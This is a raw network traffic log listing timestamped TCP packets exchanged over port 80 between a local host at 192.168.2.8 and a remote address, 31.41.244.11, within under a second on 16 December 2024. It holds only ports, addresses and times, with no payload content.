Dec 16, 2024 13:16:13.552608967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.552639961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.552692890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.553529978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.553586960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.553622007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.553670883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.554502010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.554585934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.554641962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.555445910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.555504084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.555572987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.555641890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.556411982 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.556468010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.556509018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.556560040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.557370901 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.557426929 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.557490110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.557542086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.558357000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.558468103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.558527946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.559339046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.559398890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.559437037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.559497118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.560326099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.560388088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.560429096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.560482025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.561292887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.561337948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.561356068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.561387062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.562252045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.562350988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.562406063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.563216925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.563273907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.563325882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.563388109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.564141989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.564198017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.564253092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.564305067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.565133095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.565205097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.565218925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.565274954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.566153049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.566216946 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.566270113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.567065001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.567120075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.567148924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.567204952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.568056107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.568119049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.568152905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.568207979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.569063902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.569118977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.569155931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.569209099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.569976091 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.570034027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.570041895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.570107937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.570940018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.570996046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.571079016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.571131945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.571902037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.571959972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.571980953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.572038889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.572850943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.572909117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.572946072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.573008060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.573796034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.573852062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.714987040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.715040922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.715207100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.715348005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.715410948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.715475082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.715645075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.716274977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.716330051 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.716489077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.716535091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.717256069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.717309952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.717369080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.717412949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.718195915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.718312979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.718364954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.719182014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.719233990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.719279051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.719333887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.720107079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.720244884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.720300913 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.721079111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.721132040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.721183062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.721374989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.722059965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.722145081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.722229004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.722269058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.723073006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.723121881 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.723177910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.723220110 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.724126101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.724176884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.724364042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.724409103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.725060940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.725105047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.725131989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.725976944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.726022959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.726067066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.726108074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.726886988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.726934910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.726990938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.727031946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.728007078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.728049994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.728131056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.728172064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.729064941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.729115009 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.729321957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.729377985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.729854107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.729904890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.729922056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.729963064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.730763912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.730878115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.730914116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.730937004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.731921911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.731993914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.732120037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.732161045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.732966900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.733017921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.733076096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.733197927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.733874083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.733918905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.733998060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.734154940 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.734741926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.734889030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.734930992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.735603094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.735650063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.735675097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.735713959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.736540079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.736582994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.736634016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.736671925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.737489939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.737535000 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.737598896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.737639904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.738464117 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.738522053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.738558054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.739434958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.739484072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.739495039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.739542961 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.740453959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.740504980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.740528107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.740700960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.741389990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.741472006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.741497040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.741564989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.742371082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.742422104 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.742490053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.742527962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.743289948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.743331909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.743372917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.743417978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.744298935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.744349957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.744415045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.744455099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.745265007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.745317936 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.745347977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.745392084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.746244907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.746356964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.746400118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.747221947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.747266054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.747349977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.747598886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.748223066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.748318911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.748387098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.748435974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.749095917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.749144077 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.749200106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.749241114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.750041962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.750133991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.750168085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.750209093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.751033068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.751087904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.751121044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.751307011 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.751979113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.752032042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.752126932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.752207041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.752986908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.753034115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.753094912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.753135920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.753941059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.753988028 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.754026890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.754956961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.755007982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.755028963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.755079031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.755881071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.755923033 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.755951881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.755992889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.756833076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.756932974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.756970882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.756989002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.757817984 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.757868052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.757869005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.757908106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.758780956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.758979082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.759013891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.759025097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.759723902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.759776115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.759814024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.759857893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.760685921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.760900021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.760941982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.761667013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.761712074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.761774063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.761816978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.762639046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.762866020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.762912035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.763593912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.763638973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.763719082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.763758898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.764542103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.764597893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.764672995 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.764791965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.765480995 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.765531063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.909763098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.909843922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.909881115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.910060883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.910239935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.910254002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.910294056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.911298990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.911355972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.911415100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.912233114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.912293911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.912355900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.912409067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.913054943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.913110971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.913203955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.913248062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.914196968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.914211035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.914267063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.915159941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.915174961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.915230989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.916079998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.916095018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.916160107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.916979074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.917037964 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.917119980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.917185068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.917996883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.918025017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.918049097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.918075085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.919018984 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.919030905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.919070959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.919862032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.920020103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.920075893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.920994043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.921010017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.921051025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.921077013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.921946049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.921960115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.922017097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.922909975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.922923088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.922967911 CET	49711	80	192.168.2.8	31.41.244.11
